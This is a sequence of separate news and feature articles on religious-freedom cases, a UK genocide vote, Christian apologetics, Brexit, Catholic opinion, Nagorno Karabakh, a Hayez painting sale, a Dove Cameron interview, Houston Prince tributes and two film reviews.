Jeremy Dys, Senior Counsel for First Liberty, said: "If the government is allowed to fire someone over what he said in his sermons, then they can come after any of us for our beliefs on anything. We must ensure every American has the right to talk about their faith at church without getting fired or being barred from public service."

Todd Starnes of Fox News wrote: "Bi-vocational pastors be warned  what you say from the pulpit on Sunday could get you fired from your public sector job on Monday."
Christian peer: Government in contempt of Parliament if it ignores genocide vote

The government has been accused of being in contempt of Parliament after ministers refused to lay out how they would respond to a unanimous vote in the House of Commons that declared ISIS' atrocities as genocide.

The accusation was made by the Catholic peer Lord Alton, who has spearheaded the campaign to recognise the treatment of Christians, Yazidis and other minorities by ISIS as genocide.

He told human rights minister, Baroness Joyce Anelay, the government would almost be in contempt of Parliament if it said Wednesday's vote by MPs was "non-binding and that they have no intention of following the will of Parliament in taking this matter to the Security Council".

His comments on Thursday came after the Commons voted by 278-0 in favour of a motion that declared ISIS' atrocities genocide and called on the government to refer the matter to the United Nations Security Council. The vote was historic because it is the first time MPs have declared an ongoing conflict as genocide.

Ministers and ministers' aides were ordered to abstain from the vote and foreign office minister Tobias Ellwood maintained the government's line that it was a matter for international courts, and not governments.

Lady Anelay did not repeat Ellwood's response but insisted the government was doing all it could to compile evidence of war crimes. She did add any specifics.

When pressed on why the government was not willing to make a referral to the UN, which could then confer power to international courts, she said she had to be sure of securing agreement at the UN. She added the government was "not confident" this agreement exists.

She repeated Ellwood's argument on Wednesday that the government had made a referral about the situation in Syria in 2014 but it had been blocked by Russia.

However Fiona Bruce MP, who tabled the motion in the Commons, told Christian Today the referral in 2014 was on a "completely different issue".

That instance was "not about the genocide of Daesh [ISIS] which in my view no country would condone," she said after the debate.

"I believe the referral should be made without comparison to 2014 and am confident it will not be vetoed."

David Burrowes, another Christian MP who spoke in favour of the motion added: "It is about the principle."

He told Christian Today: "Just because there is a prospect of a veto it does not mean you do nothing. Just because it may be challenged, it can't mean you do nothing.

"Once the threshold of genocide has been reached, as it clearly has, we have an obligation."
Is Christianity Regressive?

So we have been talking about Jesus, the beginnings of the Church and its history, but what about today? Church was fine in the 19th Century and, in a kind of English country village way, in the 20th. But apart from a few redneck areas in the US, Northern Ireland, the Western Isles of Scotland and some backward parts of the world, isn't it the case that modern humanity has just outgrown the need for God? The church is in its dying throes and the sooner we come to our senses the better. It's a common perception but...

Is it what is really happening? John Gray, the atheist philosopher, mocks his fellow atheists' rather unrealistic faith in this regard. He states that they believe that "the grand march of secular reason would continue, with more and more societies joining the modern west in marginalising religion. Someday, religious belief would be no more important than personal hobbies or ethnic cuisines." But that is not happening. A Pew research study shows that by 2050 it is expected that only 13 per cent of the world's population will not be religious, compared to 16 per cent today. Although the growth of the non-religious is expected to continue in the West. And therein lies the problem. This is all about a limited Western perception.

 Western atheism presupposes that Western Liberal values are at the top of the evolutionary tree. 

My main problem with this Western narrative is that it is so inherently smug, superior, self-destructive and indeed racist. It presupposes that Western Liberal values are at the top of the evolutionary tree. The atheists have form for this. Thomas Huxley, Darwin's bull, once stated: "No rational man, cognizant of the facts, believes that the average Negro is the equal, still less the superior of, of the white man." HG Wells in his New Republic in answering the question as to how the New Republic would deal with the 'inferior races' such as the black, the yellow man etc stated, "Well, the world is a world, and not a charitable institution, and I take it they will have to go." He made it quite clear what he meant  the extermination of 'inferior' races. Of course every good Western liberal now deplores racism based on biology, (it's good that they have finally caught up with the Christian teaching that all human beings are created equal!), but there is a cultural type of racism which is still seen in this kind of superior attitude.

There is also chronological snobbery. We have bought into the myth that we are inevitably 'progressing'. This permeates down throughout society. It's quite amusing to be told by a 15-year-old NED (Non Educated Delinquent) who can barely read and write, that he is superior to the ancient Greeks, just because they were ancient!

But what if we are wrong? What if Western society is actually regressing? I heard Professor John Haldane of the University of St Andrew's give a brilliant lecture on this in which he argued that 'progression' has only happened in terms of science, but that it cannot be assumed in terms of morality, art, literature, philosophy, politics and many other spheres of human activity. Anyone with half a brain, a whole eye and a listening ear, watching today's British TV will soon suspect that perhaps music and morality have not progressed much in the past 50 years!

But that doesn't stop our atheist friends who are very reluctant to let go of their faith, whatever the evidence, and so the rejoinder comes. "Isn't there an inevitable progression from polytheism to monotheism to atheism?"

It is part of their creed and one of their stock-in-trade one-liners that 'Christians are atheists to all other gods except Jesus, atheists just go one god more'. The problem with this statement, is that it presupposes that Jesus is just one of the other man made gods. He is not man-made and therefore He cannot be man destroyed! However that does not stop people trying.

In the same line of argument is the schoolboy question, "Who made God then?" The answer to the question who made God is simply 'nobody'. God is not made. God is the Creator, not the creation. God is outside of time and space. (This is not to say that he is not also in time and space and that there is not plenty evidence for him there.) God creates ex nihilo (out of nothing). That's what makes him God. He does not craft from what is already there. He creates time, space and matter from nothing. I realise for some that is nonsense because the core of their creed is that evolution means that everything starts from the simple and becomes more complex, therefore because that is the case (and any designer would have to be incredibly complex) God cannot exist. But even if we grant that this is true for biology, biology is not everything. As Joe Fitzpatrick argues about Richard Dawkins' belief that evolution explains everything; 'Dawkins is methodologically confused, taking a principle of biological science and making it into a universal principle'. Who says that everything, including God himself, has to come from something? Christians and other theists do not argue that God was created. That is precisely the point. He did not come from anywhere. He has always been. He did not evolve, nor was he made. If there is a personal Creator of the Universe then it makes perfect sense to regard him as complex, beyond our understanding and eternal. When someone states that they can disprove God because there can de facto never be anything that was uncreated they are engaging in a circular argument. We do not believe in a created God. We believe in an uncreated supernatural power. The only alternative is to have faith that matter is eternal or that everything came from nothing by no one.

The Kalam cosmological argument, popularised by the Christian philosopher William Lane Craig, puts it this way.

Whatever begins to exist has a cause, The universe began to exist Therefore the universe has a cause

God is eternal. He did not begin to exist. He always has done. He does not need a cause. He is the cause. He is the source of light, life and love.

The trouble is that our atheist friends have really bought into an unproveable narrative which they hold on to with all the tenacity of the most frightened fundamentalist and with which they try to 'evangelise' all and sundry. And so the myths/doctrines of inevitable progression and human beings having evolved from polytheism into the light of atheism have become part of the cultural zeitgeist which most of us inhabit.

Our only way of dealing with this is the biblical way. We have to challenge the cultural zeitgeist, by what we say, what we do and who we are. We are the rebels. We are the salt and the light. This weeks recommended book is my own Engaging with Atheists, which looks at how we can challenge the prevailing cultural narrative. It is vital that we do so, because without a return to biblical Christianity, the West will regress to its pre-Christian past with all its regressive values.

I leave you with one final accusation that some atheists make. 'Religion was just invented for people who were afraid of the dark'. To which the best response is that of John Lennox, 'atheism was just invented for those who are afraid of the light'!

David Robertson is the moderator of the Free Church of Scotland and director of Solas CPC, Dundee. Follow him on Twitter @theweeflea. For previous articles in his apologetics series, click here.
Northern Irish church displays massive pro-Brexit mural quoting Revelation

Does God have a view on Brexit?

Both sides of the EU referendum debate have courted support from the great and good. Vote Leave, apparently, might have the Queen on side. Remain has the scalp of President Obama.

But one mural in Northern Ireland claims the ultimate authority by quoting a Bible verse to support a pro-Brexit message.

A giant slogan "Vote Leave EU" has been daubed on a gable wall in Tigers Bay, Belfast, alongside a reference to Revelation 18:4.

The verse reads: "Then I heard another voice from heaven saying, 'Come out of her, my people, lest you take part in her sins, lest you share in her plagues'."

Prof Drew Gibson, from Union Theological College in Belfast, told the BBC: "This verse is about the oppression of the poor by the strong. It's about those who search for luxury and want to leave God out of the equation.

"It is interesting in the context of our coming election and the Brexit debate where everybody is saying it's all about the economy, it's all about the economy, it's all about the economy.

"This verse says 'no, it's not actually all about the economy'.

"There's morality at the heart of it, there's spirituality there as well."

Michael Kelly, editor of the Irish Catholic newspaper, said he did not think many would look up the reference.

He told the BBC: "I think trying to bring religion into it is probably quite bizarre because I really don't think that it's a debate that the Bible has anything much to say about.

"What the Bible has to say about it, how the European Union should be run, how our country should be run and that should be run along just lines and I think that can be done whether the United Kingdom stays within the European Union or not."

The most senior Catholic leader in the UK, Cardinal Vincent Nichols, told journalists he thought Brexit would cause "complex problems".

He said: "There is a long tradition in Christianity and Catholicism in particular of believing in holding things together. So the Catholic stance towards an effort such as the EU is largely supportive.

"If the vote was to leave Europe I think we would face more complex problems and greater difficulty in finding our role in response to it than we would by playing an active and vigorous part with partners within the EU."

Other Christian leaders in the UK have remained neutral and the Archbishop of Canterbury Justin Welby has said he will not comment.
Seventh Day Adventist lay minister fired from his job as Georgia state health chief over his church sermons

A renowned public health expert who also serves as a lay minister for the Seventh Day Adventist Church has filed a lawsuit against the Department of Public Health of Georgia, accusing state officials of firing him over his religious convictions.

Dr. Eric Walsh accepted a position as the director of Georgia Department of Public Health for northwest part in May 2014. A week later, state officials requested copies of sermons he had preached as a lay minister, with topics that included following God, having compassion on the poor, health, marriage, sexuality, world religions, science and creationism among others, CBN News reports.

The day after Dr. Walsh provided copies of the sermons to the state, government officials reportedly informed him in an email that he had been fired.

"Dr. Walsh was terminated because of something he said in a sermon,'' Jeremy Dys, senior counsel for First Liberty Institute, told the Daily Signal. "No one should be fired for something they say in their sermon.''

"No one should be removed from his job for simply expressing his religious belief. In America, it is against the law to fire an employee for expressing his religious beliefs  especially when that expression takes place in a church setting,'' added Andrew Coffman, Walsh's attorney from the group First Liberty.

In May 2014, the Los Angeles Times reported that Georgia health officials retracted a job offer to Walsh "who had come under fire for controversial remarks he made on homosexuality and evolution.''

But a recording of the voicemail from Georgia officialsafter they forgot to hang up their phonescaptured the audio of them laughing about firing him, saying, among other things, "There's no warm way to say it'you're out.'"

"I couldn't believe they fired me because of things I talked about in my sermons," said Dr. Walsh. "It was devastating. I have been unable to get a job in public health since then."

First Liberty Institute, a legal organisation that defends the religious freedom of Americans, represented Walsh in the case. They filed the lawsuit in the U.S District Court for the Northern District of Georgia.

Walsh has multiple advanced degrees and served on President Obama's Presidential Advisory Council on HIV/AIDs, reports say.

Reacting to Walsh's case, Roger Severino, director of The Heritage Foundation's DeVos Center for Religion and Civil Society, said: "Bureaucrats cannot deny qualified people of faith government jobs simply because they express their beliefs especially in a house of worship. If the First Amendment means anything, it's that government bureaucrats have no business acting as sermon review boards. That would be religious discrimination pure and simple."
Top abortion advocate Cecile Richards gets standing ovation at Georgetown, oldest U.S. Catholic university

Planned Parenthood Federation President and CEO Cecile Richards recently received a standing ovation while delivering a lecture at Georgetown University, the oldest Catholic and Jesuit institution of higher education in the United States.

Speaking at a packed auditorium amid protests from pro-life students and the archbishop of Washington, Richards defended the rights of women to have an abortion and also her organisation's stance on respecting women's reproductive decisions, Religion News Service (RNS) reports.

Georgetown University blocked concerned Catholics and reporters from attending the campus lecture of Richards, who was introduced by the student group H*yas for Choice, according to a tweet from the group's Twitter page.

"I think she did an incredible job understanding how people can have very different religious and political backgrounds but come together knowing that women should have the overall choice over their own bodies," said Makaiah Mohler, a senior at the Jesuit school.

Richards used the occasion to air her pro-abortion rhetoric, the report says.

She once again denied that Planned Parenthood sold foetal tissue and claimed abortion is a "basic human right.''

The Hoya, a Georgetown newspaper, tweeted some of Richards' comments, including her statement that "the decision to have a child is the most personal...we believe this is not decision to be made by politicians," RNS reports.

Outside the 400-seat auditorium, pro-life students held a demonstration protesting Richards presence and calling to defund her organisation.

As early as March when the Cardinal Newman Society broke the news of Richards' possible speaking engagement at Georgetown, some Catholics, including Washington Cardinal Donald Wuerl, quickly opposed the idea, saying it was "not within the Catholic tradition for a university to provide a special platform to those voices that promote or support issues such as abortion."

The Catholic Standard, the Archdiocese newspaper, described Richards' lecture as an "outrageous event."

However, the administration of Georgetown University refused to rescind their invitation, according to Lifesite News.

In defending their invitation, Georgetown University said in a statement that they are committed to "the free exchange of ideas, even when those ideas may be difficult, controversial or objectionable to some."

But Junior Reed Howard, who attended the talk, lamented Richards' hesitance to respond to opposing views during the brief question-and-answer period, says RNS.

"I don't think that today's event represented a free exchange of ideas or a spirit of dialogue. Instead, Cecile Richards was given a platform to spew her beliefs unchallenged."

Prior to her speech, students from Vita Saxa, an anti-abortion group marking Life Week at Georgetown, planted rows and rows of small blue and pink flags on a campus green. The group said the flags "represent the 3,562 lives lost in the U.S. to abortion each day."

The Students for Life of America also erected a "We Don't Need Planned Parenthood" display outside the hall where Richards spoke in response to undercover videos that reportedly show Planned Parenthood officials illegally negotiating to sell organs recovered from abortion.

H*yas for Choice is responsible for numerous scandals at Georgetown such as hosting "choice weeks,'' protesting pro-life conferences and pushing for contraception distribution on campus, according to LifeSite News.
US Catholics like the Pope, but don't listen to him

Catholics around the world were agog to hear what Pope Francis had to say in his exhortation on the family, Amoris Laetitia (The Joy of Love). Would he relax the Church's teaching on abortion or divorce? In the end, he didn't  but research from the US shows that there, at least, Catholics wouldn't have cared much either way.

Figures from the respected Pew Research polling organisation indicate that in spite of his popularity, only about one in 10 American Catholics say they turn to the Pope "a great deal" for guidance on difficult moral questions.

Most Catholics say they look inward for guidance, with roughly three-quarters of US Catholics (73 per cent) saying they rely "a great deal" on their own conscience when facing difficult moral problems.

Only 21 per cent look to the Catholic Church's teachings, while 15 per cent turn to the Bible and only 11 per cent say they rely a great deal on the Pope.

However, Catholics who are highly religious  defined as praying daily and attending services at least once a week  are considerably more likely than other Catholics to seek guidance from Church teachings, the Bible and the Pope. Still, no more than half of these highly religious Catholics give great weight to any of these sources of guidance, while 74 per cent say they rely a great deal on their conscience.

The Pew survey also points out, however, that relying on conscience to make moral decisions doesn't conflict with the Church's teaching. It cites the Church's Catechism, which says that "a well-formed conscience is upright and truthful" and that the "education of the conscience is a lifelong task".

In this light, a person's moral decisions are guided by a conscience formed by engaging with the Bible and the Church's teachings  among which are the pronouncements of the Pope.

However, the survey does raise questions about what Catholics would do if advice from the Church or religious leaders conflicts with advice from family or other sources. More than eight in 10 US Catholics say they depend "a lot" on their own research in the decision-making process. Advice from family was the second most popular choice among Catholics, with half saying they rely a lot on relatives.

Though the Pew report does not refer to this, one of the pressure points for Catholics in making moral decisions is the use of artificial contraception. The Church is officially opposed to it, but most Catholic women use it.
Why teenage Christians need friends with faith

I grew up Christian but like so many others, during my teens, the time that I devoted to my faith waned. I attended a Catholic primary school and an ecumenical secondary school but my faith seemed much more central in my early years. Aside from the fact that I could literally see my church from my primary school playground, my faith was at such a powerful point because I was surrounded by so many friends who shared it with me. When I went to Mass on Sundays, I saw familiar faces. The people I played in the playground with were also the ones I prayed with. But when I moved to secondary school, the faces I saw at church became more distant and in a sense so did I.

As I look back on my teenage years and reflect on my early twenties, I realise now more than ever the importance of having friends with faith. Although my close friends aren't exclusively Christian, the ones who are provide a different, essential kind of support. In the past, they're the ones I turned to for spiritually sound advice when I had questions about my Christianity. Later in life, they've become the ones who have held me accountable when I wasn't prioritising my faith and they're the ones who've prayed with me and for me.

It's hard to navigate adolescence but it's even harder to do it without friends who share your values and beliefs.

Here are three reasons teenage Christians need friends with faith:

They hold you accountable

Adolescence is the first time that many of us are given the responsibility to make significant life choices. Making the right decisions isn't easy when there are so many options which appear attractive on the surface but conflict with our beliefs. Church attendance commonly falls around this age group and it's partly because staying in bed seems more appealing than getting up on the weekend to worship.

If your friends aren't going to church, they're not going to check if you've been either. Only your Christian friends are going to notice if you haven't been, aren't reading your Bible and have stopped praying. They'll either ask or they'll observe first hand. They're also the ones who will show an interest in your decisions on the basis of how they fit with biblical teaching. In a similar way that many adults have gym buddies to motivate them, adolescents need friends with faith.

They provide spiritual support

Teenagers turn to their friends for advice and information more than anyone else. That's why it's so important that the support they receive from the ones they place a lot of trust in is rooted in Scripture. So many of the concerns (questions about the meaning of life, relationships, individual life purpose) that young people have have strong links with their Christian values, but a discussion with a non-Christian friend won't be placed in this context.

Christian friends aren't going to simply offer practical advice, they'll also be on hand to help you work out how to frame your understanding within the context of your faith and how to obtain guidance from biblical and church teaching. When you need more than reassuring words, they can pray with you and for you  a vital and exclusive feature of a faith-based friendship.

They help you feel like you belong

When we're young, so many of us are preoccupied with fitting in. No matter what type of school you go to, being a Christian isn't always cool. If you're the only Christian in your friendship group at a time when you're exploring and questioning your faith, you can end up feeling isolated and withdrawn from it.

Friendships with people around your age helps foster a sense of belonging. And not just in the earthly way of belonging to a Christian community, but also in terms of belonging to Christ. Sometimes knowing that you're not the only one and realising that you're part of something bigger than yourself is all you need to remind yourself that it's more than OK to be a Christian.
STEPANAKERT, APRIL 22, ARMENPRESS. The Human Rights Defender of Nagorno Karabakh Republic has submitted the report on the atrocities of the Azerbaijani armed forces committed during the period of April 2-5 against the civilian population of Nagorno Karabakh and the servicemen of the Defense Army to international institutions.

Armenpress reports the press release issued by the press service of NKR Ombudsman reads as follows, Yesterday, on April 21, 2016 the interim report of the Human Rights Defender of NKR on the atrocities of the Azerbaijani armed forces against NKR civilian population and the Defense Army servicemen during the period of April 2-5 was published.

Today the report was sent to the relevant human right institutions. In particular, UN and CoE High Commissioners for Human Rights, UN Special Rapporteur on torture and other cruel, inhuman or degrading treatment or punishment, democratic institutions of the OSCE, the Human Rights Office, the institution of the European Ombudsman, the International Institute of the Ombudsman, etc. The report has been sent also to international human rights institutions - Human Rights Watch, Amnesty International, Association for the Prevention of Torture, as well as a number of other human rights organizations.
A kiss to celebrate the birth of a nation

Seven questions about Francesco Hayezs celebrated Il Bacio (The Kiss)  considered one of the true icons of Italian Romantic art and the headline lot in our 19th century European Art Sale on 25 April in New York

1

How did Hayez explore and develop the theme of the kiss? Francesco Hayez began to explore the theme of the kiss early in his artistic career, with his Ultimo Bacio di Giulietta e Romeo (below), which was first exhibited in 1823. The work caused quite a stir because of the passion of the kiss  note Romeos hand on Juliets lower back pulling her closer to him as they embrace. This was a significant departure from earlier, more chaste depictions of kisses in art.

Open a larger version of this image F. Hayez, Ultimo Bacio di Giulietta e Romeo, 1823. Pinacoteca di Brera, Milan, Italy

Il Bacio is of course even more passionate still, with the male figure caressing the womans face and holding the back of her head. Another difference from the painting of Romeo and Juliet is that Hayez imbues the work with political as well as social allegory. It can be read as a hymn to freedom and patriotic love, and as such this depiction went on to become a true icon of Italian painting.

2

Why is this work seen as being so patriotic? The unification of Italy, also known as Risorgimento, was a political and social movement in the middle of the 19th century that ultimately consolidated the independent states of the Italian peninsula into the single state of Italy we know today. Following the defeat of Napoleonic France, the Congress of Vienna met in 1815 to redraw the map of Europe. It decided to restore the pre-Napoleonic patchwork of independent governments in Italy, ignoring the Republicanism that had become widely popular under Napoleon. The rulers of these independent states were either directly ruled or strongly influenced by other major European powers, particularly the Austrian Empire and the Habsburgs, who aggressively repressed growing nationalist sentiment for unification in Italy. One of the political meanings that can be read in Il Bacio is that of a young Italian solder going off to fight for Italy against the Austro-Hungarian Empire and kissing his love goodbye.

3

What does the painting tell us about the relationship between Italy and France in the 19th century? In 1859, Italy found an ally in Napoleon III in its fight against Austrian influence on Italian soil. The contribution of France, both militarily and politically, was instrumental to reach the first phase of the Italian Unification in 1859, with the defeat of the Austrian armies in the Lombardo-Venetian Kingdom. Only two years later, in 1861, the Kingdom of Italy was proclaimed, and Napoleon IIIs assistance was considered crucial. Thus, the painting can also be read as an allegory of appreciation for the alliance between France and Italy. The male figure, wearing green and red, together with the white drape on the steps, represents the colours of the Italian flag, and the female figures blue and white garments, held up against the red of the mans tights, symbolizes the colours of the French flag. It is thus the union of Italy and France, here represented by the kiss, which has brought about the unification of Italy.

4

Why is this version so important? This, therefore, is the background against which the first version of Il Bacio, commissioned by Alfonso Maria Visconti di Saliceto and now located in the Pinacoteca di Brera, was created in 1859. The present version, considered to be of equal importance to the Brera version, was actually created by the painter for himself. Despite being so politically charged, Hayez managed to escape any form of censorship thanks to this allegoric depiction. The artist sent the present painting to Paris to be exhibited in the Exposition Universelle in 1867, where Grand Duke Vladimir of Russia, younger brother of the future Tsar Alexander III of Russia and uncle of Nicolas II, purchased it. It is now being sold by a member of a European royal family to whom the work has passed by direct descent, and so has outstanding provenance.

5

How many versions of Il Bacio are there? There are five versions of Il Bacio painted by Hayez  four oils and one watercolour. In addition to the previously mentioned Brera version and the present composition, Hayez also painted three other known versions. The second one, painted in 1861 for the Mylius family, presents the woman wearing a white dress. Another version was painted in 1867 and it is now in a private collection.

Open a larger version of this image F. Hayez, The Kiss, 1859.  Pinacoteca di Brera, Milan, Italy / Bridgeman Images

These paintings can be distinguished from one another through their different sizes, different architectural motifs and by the addition or exclusion of the white cloth laying on the steps beside the couple. The watercolour version, an oval executed in 1859, is today in the collections of the Biblioteca Ambrosiana in Milan.

6

What do the fabrics in the picture tell us? The colour and sumptuous nature of the fabrics depicted in Il Bacio shows the continued influence throughout his career of Hayezs early training in Venice, the city of his birth. The Venetian idea of colorito, which is generally thought of in relation to the famous 16th century Venetian painters, is also demonstrated in Hayezs work. For the Venetians, colore was considered the dominant compositional element in painting (rather than disegno, or drawing, which was generally associated with Central Italy). The emphasis on colore also implies a focus on the handling of paint, creating not just rich colours but also lush, naturalistic effects of light.
Dove Cameron's real life sounds like the stuff of a Disney movie.

She plays twins in the sitcom "Liv & Maddie" and was the daughter of legendary villain Maleficent in the TV movie "Descendants." She's also part of pop duo The Girl and the Dreamcatcher with costar Ryan McCartan. The pair announced their engagement this month.

Cameron headlines this weekend's McDonald's Houston Children's Festival (which also features the Teenage Mutant Ninja Turtles). She'll participate in a Q&A and meet fans.

McDonald's Houston Children's Festival With: Dove Cameron, Teenage Mutant Ninja Turtles, the Hamburglar and more When: 10:30 a.m. to 6:30 p.m. Saturday and Sunday Where: City Hall, Houston Public Library Plaza, Sam Houston Park and Tranquility Park, downtown Houston Tickets: 12, free for ages 3 and younger; houstonchildrensfestival.com See More Collapse

Has it been a complete whirlwind since announcing the engagement?

It's very odd. My personal life, my romantic life isn't typically covered. The stuff that's really covered is my work. Now I'm like, "Whoa." This is stuff that I used to hear people talk about. It's just bizarre. I guess I just didn't anticipate that. It kinda caught me off guard.

What's the balance like of real world and social media?

I think it ebbs and flows for me. Sometimes, social media feels like making a collage in third-grade for the front page of your binder when you go into art class. It feels very constructive and personal and fun. It's a way to get the creative bug out. But I have to pay attention to myself and mind myself like I would a child. Sometimes I just wake up, and I feel a certain way, and I have no idea why, and that's who I am that day. I'm like, "There is no way that I can open up my Instagram right now and interact with that world." This industry is so intense. Social media obviously amplifies that. We're never just one person.

Favorite social media app?

I think Instagram. I am such a visual person. I actually wanted to go to school to become a clothing designer, and my parents were jewelry designers.

Is design something you'd still like to pursue?

I think that's definitely in the future. I don't know who would let me step in and design something. I'd definitely have to prove myself first. I'm gonna be designing the merchandise for my band (The Girl and the Dreamcatcher), which I'm really excited about because I'm just such a control freak. It's funny. I haven't done a new, new project in awhile. I've been between "Liv & Maddie" and "Descendants." We basically set it up in a scheduling way where I'm not doing one, I'm doing the other. I just haven't had to think about doing something new in awhile.

Is there a constant push-pull between "Liv & Maddie," now in Season 3, and "Descendants," which has been given a sequel?

It's surprisingly hard. I'm so terrified to quote anything by Meryl Streep. I know I'm nothing like Meryl Streep. But there's this incredible quote from her, "Every single time I get a new project, I worry that I'm not going to remember how to act anymore." That is coming from her, she's obviously the pinnacle, the goddess of acting. I was so relieved, because that's how I feel every single time I start a new project. It's kind of daunting to go away for awhile from a project, then come back and play the same person. It's something I write on my mini to-do list: "Watch 'Descendants' and remember this person that you created so that people don't hate you and that you don't get fired."

Are you one of those fans who drops everything when "The Devil Wears Prada" is on cable?

When I went in to audition for my agency, I was I think 13, I did her famous monologue where she dresses down Andy. The whole, "This stuff?" That whole monologue. It was so awful because I was a child and her character's, like, 50. I didn't understand how the business worked. My agent told me later, "That was really wrong for you, and I really had to look past it." I followed it up with a monologue from "Macbeth." A Shakespearean monologue. Who was I? So embarrassing. I put my hair in hot rollers, and I wore red lipstick. It was bad.

How's the music coming along?

We have a bunch of stuff that we wrote and recorded earlier this year. We took this big trip to Nashville and just holed up ourselves in a little house and just wrote, wrote, wrote. Ate mac-n-cheese, slept and wrote. We don't have a label right now. That is intentional. We control every single thing that we do and every step we make. We write the songs. We design our own music videos. Our friends direct them. We really like it that way, and we wanna keep it that way. We have an EP coming out later this year. And we're about to go in production for another huge music video. Lots of stuff. We have a whole year lined up.

Was juggling so many projects always part of your plan?

I've never, ever been the kind of person to make a plan. I think it really helped me. I never had a five-year plan. I always had a vision for, like, 30. I wanted to have a solid life by then. But everything in between 10 and 30 was fair game. I think in my wildest dreams I expected to be doing what I'm doing. I don't think I expected anyone to let me. "Liv & Maddie" is so novel, the concept of twins. "Descendants"  if I had designed, written and produced something, I could have not done it more up my alley. It's all my favorite things.It's musical, it's fantasy, it's action. It's Tim Burton-esque. It's got Kristen Chenoweth. It's my absolute dream.
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If you live in Houston you will have plenty of places to go and celebrate the music and life of Prince this weekend, starting Friday night.

A number of bars, clubs and music venues are planning special events to honor Prince, who died Thursday morning at age 57.

It's not a stretch to say it will be hard to escape Prince music this weekend in the Houston area, whether you are going downtown, Midtown, Clear Lake, Montrose or the Woodlands.

RELATED: 'Classic' Numbers' weekly bash turns 25 years old, remains nearly ageless

Surely more than a few Prince songs will also be murdered at area karaoke bars.

Numbers in Montrose will be showing Prince's 1984 film "Purple Rain" on the club's screens starting at 8:30 p.m., and after the movie Classic Numbers will feature a hefty helping of Prince music. His music was regularly a part of Friday night playlists.

Back in January, a few days after the death of performer David Bowie, the club feted him on a Friday night with a line of people nearly a block long trying to get in to dance. Prince love might very well bring the same crowd.

Arlo's Ballroom at the corner of Leeland and Hutchins on the east side of downtown kicked off its Prince weekend Thursday night with DJ Asli Omar of the Tontons handling vinyl duties.

Over at The Flat on Commonwealth near Waugh, DJ Sun and DJ Melodic will be offering up a healthy dose of Prince jams. They also paid tribute to him on Thursday in the hours after his death.

At Etro on Westheimer, VJ Marc Nicholson will be showing Prince music videos on Friday and Saturday nights, though like at The Flat, Etro's Prince party began Thursday night.

Stone's Throw, just across the street next to Boondocks, will be playing Prince music on Sunday night and are said to be pulling together a Prince-inspired drink menu.

RELATED: Health concerns cited in cancelled Prince shows

Lowbrow, on West Main, will have DJ SupaNeil kicking off Prince tunes at around 8 p.m. Friday night while revelers drink and dine. They just might run out of Abita Purple Haze, one of the bar's most popular beers.

Alamo Drafthouse's Mason Park and Vintage Park locations will be showing "Purple Rain" on Saturday and Sunday night, respectively, with ticket proceeds going to the Jazz Foundation of America.

Historic Houston rock venue Fitzgerald's will be playing Prince music on Friday night starting at 8 p.m., offering something called "Purple Rain Shots" to drinkers.

Next Wednesday, Barbarella on San Jacinto will honor the Purple One all night with doors opening at 10 p.m.

If you have any leads on special Prince nights tell us about them in the comments.
If you want to know about the tone of "Elvis & Nixon," if you want to have an idea of its comedy, just look at the casting of Michael Shannon as Elvis Presley.

Here's an actor more suited to playing Lurch on "The Addams Family" than "The King." He's tall and menacing. He has a cold stare. He's not charming but alarming, all of which makes him ideal for this movie, which is more like an absurdist lampoon than a straight account.

In real life, when Elvis told President Richard Nixon that he wanted to become an undercover agent, he probably just seemed silly. When Shannon says it, he seems downright insane, and were it not for the historical record, we might fear for Nixon's safety, especially the fairly sympathetic Nixon we find here, played by Kevin Spacey.

This Nixon is practically being held hostage by a lunatic, and the situation is definitely rich enough for a terrific "Saturday Night Live" sketch. But for an 86-minute feature film, it's a stretch.

More Information 'Elvis & Nixon' Rated R: for some language Running time: 86 minutes xx See More Collapse

Written by Joey and Hanala Sagal, as well as actor Cary Elwes ("The Princess Bride"), "Elvis & Nixon" is based on the real-life meeting of two titans at the summit of power, each destined for a dramatic fall.

In December 1970, Elvis showed up at the White House, unexpectedly, with a letter for Nixon and a request for a meeting. Alarmed at the direction of a youth culture that was growing away from him, Elvis wanted to work as an "agent at large" for the Drug Enforcement Agency.

The Nixon administration - colossally out of touch - thought a photo of the president with Elvis might speak to America's youth. (This is, by the way, just seven months after the shootings at Kent State.) And so they granted the meeting.

But in the film, nothing happens right away. Basically, anything worth watching in "Elvis & Nixon" either involves Elvis, or Nixon, or both of them. But there isn't enough material for a whole movie, so everything must be stretched. When stretching isn't enough, the movie must find yet another source for drama outside Elvis and Nixon. And so it finds one in the dilemma of Jerry Schilling (Alex Pettyfer), a former member of Elvis' inner circle, who is recruited by Elvis to accompany him to Washington.

Jerry is torn. He feels affection for Elvis, and he is drawn to the Elvis way of life. But he has a fiancee, and on the day the movie takes place, he is expected back in Los Angeles at night for an important dinner with the girlfriend's parents. He's going to ask if he could marry her.

You see the problem, don't you? Jerry's dilemma is very small, and even worse, in a movie about Elvis and Nixon, he's not Elvis or Nixon.

There's something else, too.

Jerry's loyalty for Elvis was predicated on Elvis' actually being recognizably human, as he certainly was in real life. But Shannon's Elvis is a farcical figure, an intentionally comic creation, ideal for the scenes with Nixon but not someone to inspire devotion in an underling. In this way, the two strains of the movie - the Schilling strain and the White House meeting - are in conflict.

What we're left with is a film that has some good comic moments but also dull stretches in which viewers may find themselves checking out or unexpectedly fighting fatigue. Shannon is worth seeing, and so is Spacey - hunched over, doing a funny impression of Nixon's voice and body language. But this time the actors are better than the material.
In the first seconds of "A Hologram for a King," director Tom Tykwer flings the audience into a surreal sequence in which Tom Hanks is performing a version of the old Talking Heads song "Once in a Lifetime."

As Hanks advances on the camera, asking himself how he happened to get his "beautiful house" and his "beautiful wife," each vanishes into blue smoke. And then, just as we're getting used to this rock-video approach and enjoying it, Tykwer breaks it off and shows Hanks on an airplane, getting startled awake by the Muslim call to prayer.

It's a great opening.

Tykwer, oozing directorial confidence, prepares his audience for the unconventional, all the while conveying two important pieces of information - one in terms of story, the other, theme: This is about an American traveling to the Middle East on business. And this is the story of a man who finds himself at midlife wondering about his path, asking the big life questions and not having a clue.

More Information 'A Hologram for the King' Rated R: for some sexuality/nudity, language and brief drug use Running time: 97 minutes xxxx See More Collapse

"A Hologram for the King" has great energy and a languorous, lived-in quality. Adapted by Tykwer from the Dave Eggers novel, the movie locates us in a place - Saudi Arabia - and without seeming to be trying, makes us want to stay. It finds a rhythm and engages us in the struggle of the central character, such that it feels as if we might happily keep watching for three hours, not just 97 minutes. It becomes a kind of world, and we're glad to be in it.

